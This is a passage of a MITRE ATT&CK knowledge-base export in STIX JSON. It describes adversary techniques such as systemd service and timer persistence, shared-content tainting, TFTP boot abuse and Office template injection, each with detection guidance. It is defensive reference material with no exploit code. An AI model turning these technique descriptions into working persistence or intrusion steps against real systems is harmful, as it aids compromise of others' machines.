            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1007",
                    "external_id": "T1007"
                },
                {
                    "external_id": "CAPEC-574",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/574.html"
                }
            ],
            "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
            "name": "System Service Discovery",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1569",
                    "url": "https://attack.mitre.org/techniques/T1569"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "System Services",
            "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.",
            "id": "attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-06-08T23:28:29.250Z",
            "created": "2020-03-10T18:23:06.482Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "x_mitre_detection": "Monitor for command line invocations of tools capable of modifying services that doesn\u2019t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Service: Service Creation",
                "File: File Modification",
                "Windows Registry: Windows Registry Key Modification"
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS"
            ]
        },
        {
            "created": "2019-10-04T20:42:28.541Z",
            "modified": "2020-03-27T21:18:48.149Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",
            "name": "System Shutdown/Reboot",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1529",
                    "url": "https://attack.mitre.org/techniques/T1529"
                },
                {
                    "source_name": "Microsoft Shutdown Oct 2017",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown",
                    "description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019."
                },
                {
                    "source_name": "Talos Nyetya June 2017",
                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Sensor Health: Host Status"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "root",
                "SYSTEM"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.",
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "System Time Discovery",
            "description": "An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1124",
                    "url": "https://attack.mitre.org/techniques/T1124"
                },
                {
                    "external_id": "CAPEC-295",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/295.html"
                },
                {
                    "url": "https://msdn.microsoft.com/ms724961.aspx",
                    "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016.",
                    "source_name": "MSDN System Time"
                },
                {
                    "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.",
                    "source_name": "Technet Windows Time Service"
                },
                {
                    "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf",
                    "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.",
                    "source_name": "RSA EU12 They're Inside"
                },
                {
                    "source_name": "AnyRun TimeBomb",
                    "url": "https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/",
                    "description": "Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-22T23:09:24.799Z",
            "created": "2017-05-31T21:31:37.450Z",
            "x_mitre_contributors": [
                "FIRST.ORG's Cyber Threat Intelligence SIG"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "id": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e",
            "name": "Systemd Service",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1501",
                    "url": "https://attack.mitre.org/techniques/T1501"
                },
                {
                    "source_name": "Linux man-pages: systemd January 2014",
                    "url": "http://man7.org/linux/man-pages/man1/systemd.1.html",
                    "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."
                },
                {
                    "source_name": "Freedesktop.org Linux systemd 29SEP2018",
                    "url": "https://www.freedesktop.org/wiki/Software/systemd/",
                    "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019."
                },
                {
                    "source_name": "Anomali Rocke March 2019",
                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."
                },
                {
                    "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
                    "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a",
                    "source_name": "gist Arch package compromise 10JUL2018"
                },
                {
                    "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
                    "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/",
                    "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"
                },
                {
                    "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
                    "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html",
                    "source_name": "acroread package compromised Arch Linux Mail 8JUL2018"
                },
                {
                    "source_name": "Rapid7 Service Persistence 22JUNE2016",
                    "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence",
                    "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-17T16:51:52.027Z",
            "created": "2019-04-23T15:34:30.008Z"
        },
        {
            "id": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b",
            "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)",
            "name": "Systemd Service",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1543.002",
                    "url": "https://attack.mitre.org/techniques/T1543/002"
                },
                {
                    "external_id": "CAPEC-550",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/550.html"
                },
                {
                    "external_id": "CAPEC-551",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/551.html"
                },
                {
                    "source_name": "Linux man-pages: systemd January 2014",
                    "url": "http://man7.org/linux/man-pages/man1/systemd.1.html",
                    "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."
                },
                {
                    "source_name": "Freedesktop.org Linux systemd 29SEP2018",
                    "url": "https://www.freedesktop.org/wiki/Software/systemd/",
                    "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019."
                },
                {
                    "source_name": "Anomali Rocke March 2019",
                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."
                },
                {
                    "source_name": "Rapid7 Service Persistence 22JUNE2016",
                    "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence",
                    "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-10-09T13:46:29.701Z",
            "created": "2020-01-17T16:15:19.870Z",
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -\u2013type=service \u2013all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.",
            "x_mitre_permissions_required": [
                "User",
                "root"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation",
                "Command: Command Execution",
                "Service: Service Creation",
                "Service: Service Modification"
            ],
            "x_mitre_contributors": [
                "Tony Lambert, Red Canary"
            ]
        },
        {
            "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
            "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.",
            "name": "Systemd Timers",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1053.006",
                    "url": "https://attack.mitre.org/techniques/T1053/006"
                },
                {
                    "source_name": "archlinux Systemd Timers Aug 2020",
                    "url": "https://wiki.archlinux.org/index.php/Systemd/Timers",
                    "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020."
                },
                {
                    "source_name": "Linux man-pages: systemd January 2014",
                    "url": "http://man7.org/linux/man-pages/man1/systemd.1.html",
                    "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."
                },
                {
                    "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
                    "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/",
                    "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"
                },
                {
                    "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
                    "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a",
                    "source_name": "gist Arch package compromise 10JUL2018"
                },
                {
                    "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
                    "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html",
                    "source_name": "acroread package compromised Arch Linux Mail 8JUL2018"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-10-14T15:20:00.754Z",
            "created": "2020-10-12T17:50:31.584Z",
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_contributors": [
                "SarathKumar Rajendran, Trimble Inc"
            ],
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Creation",
                "Command: Command Execution",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers \u2013all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)",
            "x_mitre_permissions_required": [
                "User",
                "root"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1542.005",
                    "url": "https://attack.mitre.org/techniques/T1542/005"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Secure Boot",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Command History",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Boot Information",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "TFTP Boot",
            "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)",
            "id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-10-22T16:35:53.806Z",
            "created": "2020-10-20T00:06:56.180Z",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation",
                "Firmware: Firmware Modification"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Network"
            ]
        },
        {
            "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Taint Shared Content",
            "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1080",
                    "url": "https://attack.mitre.org/techniques/T1080"
                },
                {
                    "external_id": "CAPEC-562",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/562.html"
                },
                {
                    "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html",
                    "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.",
                    "source_name": "Retwin Directory Share Pivot"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2020-03-31T22:14:56.107Z",
            "created": "2017-05-31T21:31:01.759Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_system_requirements": [
                "Access to shared folders and content with write permissions"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.",
            "x_mitre_contributors": [
                "Michal Dida, ESET",
                "David Routin"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "File: File Modification",
                "Network Share: Network Share Access"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Template Injection",
            "description": "Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1221",
                    "url": "https://attack.mitre.org/techniques/T1221"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)",
                    "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.",
                    "source_name": "Microsoft Open XML July 2017"
                },
                {
                    "source_name": "SANS Brian Wiltse Template Injection",
                    "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780",
                    "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019."
                },
                {
                    "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html",
